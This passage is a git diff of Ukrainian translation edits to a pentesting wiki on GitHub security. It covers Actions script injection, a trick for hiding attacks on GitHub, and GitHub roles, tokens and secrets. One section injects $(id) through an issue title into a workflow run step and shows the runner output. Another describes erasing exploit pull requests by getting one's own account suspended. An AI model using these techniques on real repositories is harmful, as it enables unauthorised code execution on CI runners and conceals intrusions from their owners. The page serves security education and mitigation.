-Як видно з попереднього коду, реєстр Github розміщено на **`ghcr.io`**. +Як ви могли побачити в попередньому коді, реєстр Github розміщено на **`ghcr.io`**. -Користувач із read permissions до repo зможе завантажити Docker Image, використовуючи personal access token: +Користувач з правами читання репозиторію зможе завантажити Docker Image, використовуючи personal access token: ```bash echo $gh_token | docker login ghcr.io -u --password-stdin docker pull ghcr.io//: ``` -Then, the user could search for **leaked secrets in the Docker image layers:** +Потім користувач може шукати **leaked secrets in the Docker image layers:** {{#ref}} https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html {{#endref}} -### Sensitive info in Github Actions logs +### Чутлива інформація в Github Actions logs -Навіть якщо **Github** намагається **detect secret values** у actions logs і **не показувати** їх, **інші чутливі дані**, які могли бути згенеровані під час виконання action, не будуть приховані. Наприклад, JWT підписаний за допомогою secret value не буде прихований, якщо це не [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret). +Навіть якщо **Github** намагається **виявляти secret values** в actions logs і **уникати їх показу**, **інші чутливі дані**, які могли бути згенеровані під час виконання action, не будуть приховані. Наприклад, JWT підписаний secret value не буде прихований, якщо він не [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret). ## Приховування слідів -(Техніка з [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) По-перше, будь-який PR видно публічно на Github і для цільового облікового запису GitHub. За замовчуванням у GitHub ми **can’t delete a PR of the internet**, але є тонкість. Для облікових записів Github, які були **suspended** GitHub, всі їхні **PRs are automatically deleted** і видаляються з інтернету. Тож щоб приховати свою активність, потрібно або домогтися **GitHub account suspended**, або щоб ваш обліковий запис був flagged. Це **приховає всі ваші активності** на GitHub з інтернету (фактично видалить всі ваші exploit PR). +(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Перш за все, будь-який PR, що створюється, чітко видно публічно в Github і власнику цільового GitHub акаунта. За замовчуванням у GitHub ми **can’t delete a PR of the internet**, але є нюанс. Якщо акаунт Github буде **suspended** GitHub, всі їхні **PRs are automatically deleted** і видаляються з інтернету. Тому, щоб приховати вашу активність, вам потрібно або домогтися, щоб ваш **GitHub account suspended or get your account flagged**. Це **приховає всю вашу активність** на GitHub з інтернету (фактично видалить усі ваші exploit PR) -Організація на GitHub дуже оперативно повідомляє акаунти до GitHub. Все, що потрібно — поділитися «деякими речами» в Issue, і вони подбають, щоб ваш акаунт був suspended протягом 12 годин :p і от — ваш експлойт став невидимим на github. +Організація в GitHub дуже активно повідомляє облікові записи в GitHub. Все, що потрібно — опублікувати «деякі речі» в Issue, і вони подбають, щоб ваш акаунт був suspended протягом 12 годин :p і от, ваш exploit стане невидимим на github. > [!WARNING] -> Єдиний спосіб для організації з’ясувати, що її атакували — перевірити GitHub logs через SIEM, оскільки з GitHub UI PR буде видалено. +> Єдиний спосіб для організації з'ясувати, що її атакували — перевірити GitHub logs через SIEM, оскільки з GitHub UI PR буде видалено. ## Посилання diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md index 3ee8a44d0..c78b78fe6 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md @@ -6,16 +6,16 @@ GitHub Actions renders expressions ${{ ... }} before the step executes. The rendered value is pasted into the step’s program (for run steps, a shell script). If you interpolate untrusted input directly inside run:, the attacker controls part of the shell program and can execute arbitrary commands. -Документація: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions та contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts +Docs: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions and contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts Ключові моменти: -- Рендеринг відбувається перед виконанням. Скрипт run генерується з усіма розв'язаними виразами, після чого виконується shell. -- Багато contexts містять поля, які контролюються користувачем залежно від події, що запускає (issues, PRs, comments, discussions, forks, stars тощо). Див. довідник про untrusted input: https://securitylab.github.com/resources/github-actions-untrusted-input/ -- Shell quoting inside run: не є надійним захистом, оскільки ін'єкція відбувається на етапі template rendering. Атакувальники можуть вийти з лапок або інжектити оператори через спеціально сформований ввід. +- Rendering happens before execution. The run script is generated with all expressions resolved, then executed by the shell. +- Many contexts contain user-controlled fields depending on the triggering event (issues, PRs, comments, discussions, forks, stars, etc.). Див. untrusted input reference: https://securitylab.github.com/resources/github-actions-untrusted-input/ +- Shell quoting inside run: is not a reliable defense, because the injection occurs at the template rendering stage. Attackers can break out of quotes or inject operators via crafted input. ## Уразливий шаблон → RCE on runner -Vulnerable workflow (triggered when someone opens a new issue): +Вразливий workflow (triggered when someone opens a new issue): ```yaml name: New Issue Created on: @@ -36,20 +36,20 @@ with: github_token: ${{ secrets.GITHUB_TOKEN }} labels: new ``` -Якщо нападник відкриє issue з заголовком $(id), відображений крок стане: +Якщо зловмисник відкриє issue з назвою $(id), відрендерений крок стане: ```sh echo "New issue $(id) created" ``` -The command substitution запускає команду id на runner. Приклад виведення: +Підстановка команди виконує id на runner. Приклад виводу: ``` New issue uid=1001(runner) gid=118(docker) groups=118(docker),4(adm),100(users),999(systemd-journal) created ``` -Чому екранування не рятує: -- Вирази обчислюються спочатку, потім виконується отриманий скрипт. Якщо недовірене значення містить $(...), `;`, `"`/`'` або символи нового рядка, воно може змінити структуру програми попри ваше екранування. +Чому лапки не рятують: +- Вираження обчислюються спочатку, а потім виконується отриманий скрипт. Якщо ненадійне значення містить $(...), `;`, `"`/`'` або нові рядки, воно може змінити структуру програми незважаючи на ваші лапки. -## Безпечний підхід (shell variables via env) +## Безпечний шаблон (shell variables via env) -Правильне пом'якшення: скопіюйте недовірений вхід у змінну середовища, а потім використовуйте нативне розгортання shell ($VAR) у run-скрипті. Не повторно вбудовуйте через ${{ ... }} всередині команди. +Правильне пом'якшення: скопіюйте ненадійне вхідне значення у змінну середовища, потім використовуйте нативне shell-розгортання ($VAR) у run script. Не вбудовуйте знову ${{ ... }} всередині команди. ```yaml # safe jobs: @@ -62,13 +62,13 @@ TITLE: ${{ github.event.issue.title }} run: | echo "New issue $TITLE created" ``` -Notes: -- Avoid using ${{ env.TITLE }} inside run:. That reintroduces template rendering back into the command and brings the same injection risk. -- Prefer passing untrusted inputs via env: mapping and reference them with $VAR in run:. +Примітки: +- Уникайте використання ${{ env.TITLE }} всередині run:. Це знову вводить рендеринг шаблонів у команду і створює той самий ризик ін'єкції. +- Краще передавати недовірені введення через відображення env: і звертатися до них як $VAR у run:. -## Reader-triggerable surfaces (treat as untrusted) +## Поверхні, які може ініціювати читач (вважати ненадійними) -Accounts with only read permission on public repositories can still trigger many events. Any field in contexts derived from these events must be considered attacker-controlled unless proven otherwise. Examples: +Облікові записи з правом лише на читання у публічних репозиторіях все ще можуть викликати багато подій. Будь-яке поле в контекстах, отриманих із цих подій, слід вважати контрольованим зловмисником, якщо не доведено протилежне. Приклади: - issues, issue_comment - discussion, discussion_comment (orgs can restrict discussions) - pull_request, pull_request_review, pull_request_review_comment @@ -77,16 +77,16 @@ Accounts with only read permission on public repositories can still trigger many - watch (starring a repo) - Indirectly via workflow_run/workflow_call chains -Which specific fields are attacker-controlled is event-specific. Consult GitHub Security Lab’s untrusted input guide: https://securitylab.github.com/resources/github-actions-untrusted-input/ +Які конкретно поля контролюються зловмисником залежить від події. Зверніться до GitHub Security Lab’s untrusted input guide: https://securitylab.github.com/resources/github-actions-untrusted-input/ -## Practical tips +## Практичні поради -- Minimize use of expressions inside run:. Prefer env: mapping + $VAR. -- If you must transform input, do it in the shell using safe tools (printf %q, jq -r, etc.), still starting from a shell variable. -- Be extra careful when interpolating branch names, PR titles, usernames, labels, discussion titles, and PR head refs into scripts, command-line flags, or file paths. -- For reusable workflows and composite actions, apply the same pattern: map to env then reference $VAR. +- Мінімізуйте використання виразів всередині run:. Віддавайте перевагу відображенню env: + $VAR. +- Якщо потрібно трансформувати введення, робіть це в shell, використовуючи безпечні інструменти (printf %q, jq -r, тощо), все одно починаючи з shell-змінної. +- Будьте особливо обережні при інтерполяції імен гілок, заголовків PR, імен користувачів, labels, discussion titles та PR head refs у скрипти, параметри командного рядка або шляхи до файлів. +- Для reusable workflows і composite actions застосовуйте той самий підхід: відобразіть у env, а потім посилайтеся на $VAR. -## References +## Посилання - [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1) - [GitHub workflow syntax](https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions) diff --git a/src/pentesting-ci-cd/github-security/basic-github-information.md b/src/pentesting-ci-cd/github-security/basic-github-information.md index 32c33aaf0..53d6be2bd 100644 --- a/src/pentesting-ci-cd/github-security/basic-github-information.md +++ b/src/pentesting-ci-cd/github-security/basic-github-information.md @@ -1,156 +1,156 @@ -# Базова інформація про Github +# Основна інформація про Github {{#include ../../banners/hacktricks-training.md}} ## Базова структура -Базова структура середовища github в великій **компанії** — це володіння **підприємством**, яке володіє **кількома організаціями**, і кожна з них може містити **кілька репозиторіїв** та **кілька команд.**. Менші компанії можуть просто **володіти однією організацією і не мати підприємств**. +Базова структура середовища github великої **компанії** — це наявність **enterprise**, яке володіє **кількома organizations**, і кожна з них може містити **кілька repositories** та **кілька teams.** Менші компанії можуть просто **володіти однією organization і не мати enterprise**. -З точки зору користувача **користувач** може бути **учасником** **різних підприємств і організацій**. Вони можуть мати **різні ролі на рівні підприємства, організації та репозиторію**. +З точки зору користувача **user** може бути **member** різних **enterprises та organizations**. У межах них у користувача можуть бути **різні enterprise, organization та repository roles**. -Крім того, користувач може бути **в різних командах** з різними ролями на рівні підприємства, організації або репозиторію. +Крім того, користувач може бути **частиною різних teams** з різними enterprise, organization або repository ролями. -І нарешті **репозиторії можуть мати спеціальні механізми захисту**. +І нарешті **repositories можуть мати спеціальні механізми захисту**. ## Привілеї -### Ролі підприємства +### Enterprise Roles -- **Власник підприємства**: Люди з цією роллю можуть **керувати адміністраторами, керувати організаціями в межах підприємства, керувати налаштуваннями підприємства, застосовувати політику в організаціях**. Однак вони **не можуть отримувати доступ до налаштувань організації або її вмісту**, якщо їх не призначено власником організації або їм не надано прямого доступу до репозиторію, яким володіє організація. -- **Члени підприємства**: Учасники організацій, якими володіє ваше підприємство, також **автоматично є членами підприємства**. +- **Enterprise owner**: Люди з цією роллю можуть **керувати адміністраторами, керувати organizations у складі enterprise, керувати налаштуваннями enterprise, застосовувати політику в організаціях**. Однак вони **не можуть отримувати доступ до налаштувань чи вмісту organization**, якщо їх не призначено organization owner або не надано прямий доступ до repository, що належить organization. +- **Enterprise members**: Members organization, що належать вашому enterprise, також **автоматично є членами enterprise**. -### Ролі організації +### Organization Roles В організації користувачі можуть мати різні ролі: -- **Власники організації**: Власники організації мають **повний адміністративний доступ до вашої організації**. Цю роль слід обмежити, але не менш ніж двома людьми в організації. -- **Учасники організації**: **Типова**, неадміністративна роль для **людей в організації** — це учасник організації. За замовчуванням учасники організації **мають низку дозволів**. -- **Менеджери білінгу**: Менеджери білінгу — це користувачі, які можуть **керувати налаштуваннями оплати для вашої організації**, наприклад платіжною інформацією. -- **Менеджери безпеки**: Це роль, яку власники організації можуть призначити будь-якій команді в організації. При застосуванні вона дає кожному члену команди дозволи **керувати повідомленнями про безпеку та налаштуваннями в межах організації, а також дозволи на читання всіх репозиторіїв** в організації. -- Якщо у вашій організації є команда з безпеки, ви можете використовувати роль менеджера безпеки, щоб надати членам команди найменший необхідний доступ до організації. -- **Github App managers**: Щоб дозволити додатковим користувачам **керувати GitHub Apps, якими володіє організація**, власник може надати їм дозволи менеджера GitHub App. -- **Зовнішні співпрацівники**: Зовнішній співпрацівник — це особа, яка має **доступ до одного або більше репозиторіїв організації, але не є явно членом** організації. +- **Organization owners**: Organization owners мають **повний адміністративний доступ до вашої organization**. Цю роль слід обмежити, але не менше ніж двома людьми в організації. +- **Organization members**: **За замовчуванням**, неадміністративна роль для **осіб в organization** — organization member. За замовчуванням organization members **мають низку дозволів**. +- **Billing managers**: Billing managers — користувачі, які можуть **керувати налаштуваннями білінгу для вашої organization**, наприклад платіжною інформацією. +- **Security Managers**: Роль, яку organization owners можуть призначити будь-якій team в організації. При застосуванні вона дає кожному member цієї команди дозволи **керувати security alerts і налаштуваннями в межах organization, а також права на читання для всіх repositories** в організації. +- Якщо у вашій організації є security team, ви можете використовувати роль security manager, щоб надати членам команди мінімально необхідний доступ до organization. +- **Github App managers**: Щоб дозволити додатковим користувачам **керувати GitHub Apps, що належать organization**, owner може надати їм дозволи Github App manager. +- **Outside collaborators**: Outside collaborator — це особа, яка має **доступ до одного або кількох repositories organization, але не є явно member** цієї organization. Ви можете **порівняти дозволи** цих ролей у цій таблиці: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles) -### Привілеї учасників +### Members Privileges -В _https://github.com/organizations/\/settings/member_privileges_ ви можете побачити **дозволи, які користувачі отримують лише за те, що є частиною організації**. +В _https://github.com/organizations/\/settings/member_privileges_ ви можете побачити **дозволи, які користувачі матимуть просто за те, що є частиною organization**. -Налаштування тут вкажуть такі дозволи учасників організації: +Налаштування тут вкажуть на такі дозволи членів organization: -- Бути admin, writer, reader або не мати дозволу над усіма репозиторіями організації. -- Чи можуть учасники створювати private, internal або public репозиторії. -- Чи дозволено форкати репозиторії. +- Мати admin, writer, reader або відсутність доступу до всіх repository організації. +- Чи можуть members створювати private, internal або public repositories. +- Чи можливе форкування repositories. - Чи можливо запрошувати outside collaborators. -- Чи можна публікувати публічні або приватні сайти. -- Які дозволи мають адміни над репозиторіями. -- Чи можуть учасники створювати нові команди. +- Чи можуть публікуватися public або private sites. +- Дозволи, які мають admins над repositories. +- Чи можуть members створювати нові teams. -### Ролі репозиторію +### Repository Roles -За замовчуванням створюються ролі репозиторію: +За замовчуванням створюються такі repository roles: -- **Read**: Рекомендовано для **non-code contributors**, які хочуть переглядати або обговорювати ваш проєкт -- **Triage**: Рекомендовано для **contributors who need to proactively manage issues and pull requests** без права на запис -- **Write**: Рекомендовано для контрибуторів, які **активно роблять push у ваш проєкт** -- **Maintain**: Рекомендовано для **менеджерів проєкту, які повинні керувати репозиторієм** без доступу до конфіденційних або деструктивних дій -- **Admin**: Рекомендовано для людей, яким потрібен **повний доступ до проєкту**, включаючи конфіденційні та деструктивні дії, такі як керування безпекою або видалення репозиторію +- **Read**: Рекомендовано для **не-кодових контрибуторів**, які хочуть переглядати або обговорювати проект. +- **Triage**: Рекомендовано для **контрибуторів, які повинні проактивно керувати issues та pull requests** без доступу на запис. +- **Write**: Рекомендовано для контрибуторів, які **активно пушать у ваш проект**. +- **Maintain**: Рекомендовано для **менеджерів проєкту, яким потрібно керувати repository** без доступу до чутливих або деструктивних дій. +- **Admin**: Рекомендовано для людей, яким потрібен **повний доступ до проекту**, включаючи чутливі та деструктивні дії, як-от керування безпекою або видалення repository. Ви можете **порівняти дозволи** кожної ролі в цій таблиці [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role) -Ви також можете **створити власні ролі** в _https://github.com/organizations/\/settings/roles_ +Ви також можете **створювати власні ролі** в _https://github.com/organizations/\/settings/roles_ -### Команди +### Teams -Ви можете **переглянути список команд, створених в організації** за адресою _https://github.com/orgs/\/teams_. Зверніть увагу, щоб побачити команди, які є дочірніми для інших команд, потрібно заходити в кожну батьківську команду. +Ви можете **перелічити teams, створені в organization**, в _https://github.com/orgs/\/teams_. Зауважте, щоб побачити teams, які є дочірніми для інших teams, потрібно перейти до кожної parent team. -### Користувачі +### Users -Користувачів організації можна **перелічити** в _https://github.com/orgs/\/people._ +Користувачів organization можна **переглянути** в _https://github.com/orgs/\/people._ -В інформації про кожного користувача ви можете бачити **команди, членом яких є користувач**, та **репозиторії, до яких користувач має доступ**. +В інформації про кожного користувача можна побачити **teams, частиною яких є користувач**, і **repos, до яких користувач має доступ**. -## Авторизація в Github +## Github Authentication -Github пропонує різні способи автентифікації у вашому обліковому записі та виконання дій від вашого імені. +Github пропонує різні способи автентифікації у вашому акаунті та виконання дій від вашого імені. -### Веб-доступ +### Web Access -Заходячи на **github.com**, ви можете увійти, використовуючи свій **username and password** (і потенційно **2FA**). +Заходячи на **github.com**, ви можете увійти, використовуючи свій **username і password** (а також потенційно **2FA**). ### **SSH Keys** -Ви можете налаштувати свій обліковий запис з одним або кількома публічними ключами, що дозволяють відповідному **приватному ключу виконувати дії від вашого імені.** [https://github.com/settings/keys](https://github.com/settings/keys) +Ви можете налаштувати свій акаунт із одним або кількома public keys, що дозволяють відповідному **private key виконувати дії від вашого імені.** [https://github.com/settings/keys](https://github.com/settings/keys) #### **GPG Keys** -Ви **не можете видати себе за користувача за допомогою цих ключів**, але якщо ви їх не використовуєте, можливо, вас **виявлять за надсилання комітів без підпису**. Learn more about [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode). +Ви **не можете видати себе за користувача за допомогою цих ключів**, але якщо ви не використовуєте їх, можливо, вас **виявлять за надсилання комітів без підпису**. Детальніше про vigilant mode тут: https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode. ### **Personal Access Tokens** -Ви можете згенерувати personal access token, щоб **надати додатку доступ до вашого облікового запису**. При створенні personal access token **користувач** повинен **вказати** **дозволи**, які **token** матиме. [https://github.com/settings/tokens](https://github.com/settings/tokens) +Ви можете генерувати personal access token, щоб **надати додатку доступ до вашого акаунту**. Створюючи personal access token, **user** повинен **вказати** **дозволи**, які **token** матиме. [https://github.com/settings/tokens](https://github.com/settings/tokens) ### Oauth Applications -Oauth applications можуть просити у вас дозволи **для доступу до частини вашої інформації в github або для імітації вас** з метою виконання певних дій. Поширеним прикладом є кнопка **login with github**, яку ви можете знайти на деяких платформах. +Oauth applications можуть просити вас про дозволи **для доступу до частини вашої github інформації або для імітації вас** з метою виконання певних дій. Типовий приклад — кнопка **login with github**, яку ви можете зустріти на деяких платформах. -- Ви можете **створювати** власні **Oauth applications** в [https://github.com/settings/developers](https://github.com/settings/developers) -- Ви можете побачити всі **Oauth applications, які мають доступ до вашого облікового запису** в [https://github.com/settings/applications](https://github.com/settings/applications) -- Ви можете побачити **scopes, які Oauth Apps можуть запитувати** в [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) -- Ви можете побачити доступ сторонніх застосунків у **організації** в _https://github.com/organizations/\/settings/oauth_application_policy_ +- Ви можете **створити** власні **Oauth applications** на [https://github.com/settings/developers](https://github.com/settings/developers) +- Ви можете побачити всі **Oauth applications, що мають доступ до вашого акаунту** на [https://github.com/settings/applications](https://github.com/settings/applications) +- Ви можете побачити **scopes, які Oauth Apps можуть запитувати** на [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) +- Ви можете побачити доступ сторонніх додатків у **organization** за адресою _https://github.com/organizations/\/settings/oauth_application_policy_ -Деякі **рекомендації щодо безпеки**: +Деякі **рекомендації з безпеки**: -- An **OAuth App** should always **act as the authenticated GitHub user across all of GitHub** (for example, when providing user notifications) and with access only to the specified scopes.. -- An OAuth App can be used as an identity provider by enabling a "Login with GitHub" for the authenticated user. -- **Don't** build an **OAuth App** if you want your application to act on a **single repository**. With the `repo` OAuth scope, OAuth Apps can **act on \_all**\_\*\* of the authenticated user's repositorie\*\*s. -- **Don't** build an OAuth App to act as an application for your **team or company**. OAuth Apps authenticate as a **single user**, so if one person creates an OAuth App for a company to use, and then they leave the company, no one else will have access to it. -- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps). +- **OAuth App** завжди має **діяти як автентифікований GitHub user по всьому GitHub** (наприклад, при надсиланні користувацьких повідомлень) і мати доступ лише до вказаних scope. +- OAuth App може використовуватися як провайдер ідентичності, дозволивши "Login with GitHub" для автентифікованого користувача. +- **Не** створюйте **OAuth App**, якщо хочете, щоб ваш додаток діяв лише над **одним repository**. З `repo` OAuth scope, OAuth Apps можуть **діяти на _всіх_** репозиторіях автентифікованого користувача. +- **Не** створюйте OAuth App, щоб діяти як додаток для вашої **команди чи компанії**. OAuth Apps автентифікуються як **один user**, тому якщо одна людина створить OAuth App для компанії, а потім покине її, ніхто інший не матиме доступу. +- **Детальніше** тут: https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps. ### Github Applications -Github applications можуть запитувати дозволи для **доступу до вашої інформації в github або імітації вас**, щоб виконувати конкретні дії над певними ресурсами. У Github Apps ви повинні вказати репозиторії, до яких додаток матиме доступ. +Github applications можуть просити дозволи **для доступу до вашої github інформації або імітації вас** з метою виконання конкретних дій над певними ресурсами. У Github Apps потрібно вказати repositories, до яких додаток матиме доступ. -- Щоб встановити GitHub App, ви повинні бути **власником організації або мати права адміністратора** в репозиторії. -- GitHub App повинен **підключатися до персонального облікового запису або організації**. -- Ви можете створити власний Github application в [https://github.com/settings/apps](https://github.com/settings/apps) -- Ви можете побачити всі **Github applications, які мають доступ до вашого облікового запису** в [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations) -- Це **API Endpoints for Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Залежно від дозволів App, він зможе отримати доступ до деяких з них -- Ви можете побачити встановлені застосунки в **організації** в _https://github.com/organizations/\/settings/installations_ +- Щоб встановити GitHub App, ви повинні бути **organisation owner або мати admin permissions** в repository. +- GitHub App має **підключатися до персонального акаунту або organization**. +- Ви можете створити власну Github application на [https://github.com/settings/apps](https://github.com/settings/apps) +- Ви можете побачити всі **Github applications, що мають доступ до вашого акаунту** на [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations) +- Ось **API Endpoints для Github Applications**: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Залежно від дозволів додатка він зможе доступатися до деяких з них. +- Ви можете побачити встановлені apps в **organization** в _https://github.com/organizations/\/settings/installations_ -Деякі рекомендації щодо безпеки: +Деякі рекомендації з безпеки: -- A GitHub App should **take actions independent of a user** (unless the app is using a [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). To keep user-to-server access tokens more secure, you can use access tokens that will expire after 8 hours, and a refresh token that can be exchanged for a new access token. For more information, see "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)." -- Make sure the GitHub App integrates with **specific repositories**. -- The GitHub App should **connect to a personal account or an organisation**. -- Don't expect the GitHub App to know and do everything a user can. -- **Don't use a GitHub App if you just need a "Login with GitHub" service**. But a GitHub App can use a [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) to log users in _and_ do other things. -- Don't build a GitHub App if you _only_ want to act as a GitHub user and do everything that user can do. -- If you are using your app with GitHub Actions and want to modify workflow files, you must authenticate on behalf of the user with an OAuth token that includes the `workflow` scope. The user must have admin or write permission to the repository that contains the workflow file. For more information, see "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)." -- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps). +- GitHub App повинен **виконувати дії незалежно від користувача** (якщо додаток не використовує [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). Щоб зробити user-to-server access tokens більш безпечними, можна використовувати access tokens, що **закінчуються через 8 годин**, та refresh token, який можна обміняти на новий access token. Для додаткової інформації див. "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)." +- Переконайтеся, що GitHub App інтегровано з **конкретними repositories**. +- GitHub App повинен **підключатися до персонального акаунту або organization**. +- Не очікуйте, що GitHub App знає та робить усе, що може user. +- **Не використовуйте GitHub App лише заради сервісу "Login with GitHub"**. Проте GitHub App може використовувати [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) для входу користувачів _та_ виконання інших дій. +- Не створюйте GitHub App, якщо ви _лише_ хочете діяти як GitHub user і робити все, що цей user може робити. +- Якщо ви використовуєте свій додаток з GitHub Actions і хочете змінювати workflow файли, ви мусите аутентифікуватися від імені користувача з OAuth token, який включає `workflow` scope. Користувач має мати admin або write permission до repository, що містить workflow файл. Для додаткової інформації див. "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)." +- **Детальніше** тут: https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps. ### Github Actions -Це **не є способом автентифікації в github**, але **шкідлива** Github Action може отримати **несанкціонований доступ до github** і, **залежно** від **привілеїв**, наданих Action, може бути виконано кілька **різних атак**. Нижче наведено більше інформації. +Це **не спосіб автентифікації в github**, але **зловмисна** Github Action може отримати **неавторизований доступ до github** і, **в залежності** від **наданих Action привілеїв**, можна здійснити кілька **різних атак**. Див. нижче для додаткової інформації. ## Git Actions -Git actions дозволяють автоматизувати **виконання коду при настанні події**. Зазвичай виконуваний код якось пов'язаний з кодом репозиторію (наприклад, збірка docker-контейнера або перевірка, що PR не містить секретів). +Git actions дозволяють автоматизувати **виконання коду при виникненні події**. Зазвичай код, що виконується, якимось чином пов'язаний з кодом repository (наприклад, збірка docker контейнера або перевірка, що PR не містить секретів). -### Конфігурація +### Configuration -В _https://github.com/organizations/\/settings/actions_ можна перевірити **конфігурацію github actions** для організації. +В _https://github.com/organizations/\/settings/actions_ можна перевірити **конфігурацію github actions** для organization. -Можна повністю заборонити використання github actions, **дозволити всі github actions**, або дозволити лише певні actions. +Можна заборонити використання github actions повністю, **дозволити всі github actions**, або дозволити лише певні actions. -Також можна налаштувати, **хто потребує схвалення для запуску Github Action**, та **дозволи GITHUB_TOKEN** Github Action під час його виконання. +Також можна налаштувати, **хто потребує схвалення для запуску Github Action**, та **дозволи GITHUB_TOKEN** для Github Action під час його виконання. ### Git Secrets -Github Action зазвичай потребує деякого роду secrets для взаємодії з github або сторонніми застосунками. Щоб **уникнути розміщення їх у відкритому вигляді** в репозиторії, github дозволяє зберігати їх як **Secrets**. +Github Action зазвичай потребують певних секретів для взаємодії з github або сторонніми додатками. Щоб **уникнути зберігання їх у відкритому вигляді** в repo, github дозволяє зберігати їх як **Secrets**. -Ці secrets можна налаштувати **для репозиторію або для всієї організації**. Потім, щоб **Action отримав доступ до секрету**, ви повинні оголосити його таким чином: +Ці секрети можна налаштувати **для repo або для всієї organization**. Потім, щоб **Action мав доступ до секрету**, потрібно оголосити його як: ```yaml steps: - name: Hello world action @@ -168,45 +168,45 @@ run: | example-command "$SUPER_SECRET" ``` > [!WARNING] -> Secrets **можна отримати доступ лише з Github Actions**, які їх задекларували. - -> Після налаштування в repo або в організації **користувачі github не зможуть більше отримати до них доступ**, вони зможуть лише **змінювати їх**. - -Отже, **єдиний спосіб вкрасти github secrets — це отримати доступ до машини, яка виконує Github Action** (в цьому сценарії ви зможете отримати доступ лише до secrets, задекларованих для цієї Action). +> Secrets **можна отримати лише з Github Actions**, в яких вони оголошені. +> +> Після налаштування в repo або organizations **користувачі github більше не зможуть отримати до них доступ**, вони зможуть лише **змінювати їх**. +> +> Тому **єдиний спосіб викрасти github secrets — отримати доступ до машини, яка виконує Github Action** (в такому випадку ви зможете отримати доступ лише до secrets, оголошених для цієї Action). ### Git Environments -Github дозволяє створювати **environments**, де ви можете зберігати **secrets**. Потім ви можете надати github action доступ до secrets всередині environment за допомогою чогось на кшталт: +Github дозволяє створювати **environments**, де ви можете зберігати **secrets**. Потім ви можете надати github action доступ до secrets у цьому environment наступним чином: ```yaml jobs: deployment: runs-on: ubuntu-latest environment: env_name ``` -You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or **specify** which branches can access it.\ -Additionally, environment protections include: -- **Required reviewers**: gate jobs targeting the environment until approved. Enable **Prevent self-review** to enforce a proper four‑eyes principle on the approval itself. -- **Deployment branches and tags**: restrict which branches/tags may deploy to the environment. Prefer selecting specific branches/tags and ensure those branches are protected. Note: the "Protected branches only" option applies to classic branch protections and may not behave as expected if using rulesets. -- **Wait timer**: delay deployments for a configurable period. +Ви можете налаштувати environment так, щоб він був доступний для **усіх гілок** (за замовчуванням), **тільки для захищених** гілок або **вказати**, які гілки можуть отримувати до нього доступ.\ +Додатково, захист environment включає: +- **Required reviewers**: блокувати jobs, що націлені на environment, поки вони не будуть затверджені. Увімкніть **Prevent self-review**, щоб забезпечити справжній принцип «чотирьох очей» під час самої затвердження. +- **Deployment branches and tags**: обмежувати, які гілки/теги можуть деплоїтись до environment. Краще вибирати конкретні гілки/теги і переконатись, що ці гілки захищені. Примітка: опція "Protected branches only" застосовується до класичних branch protections і може поводитись неочікувано при використанні rulesets. +- **Wait timer**: відкладати деплой на конфігурований період. -It can also set a **number of required reviews** before **executing** an 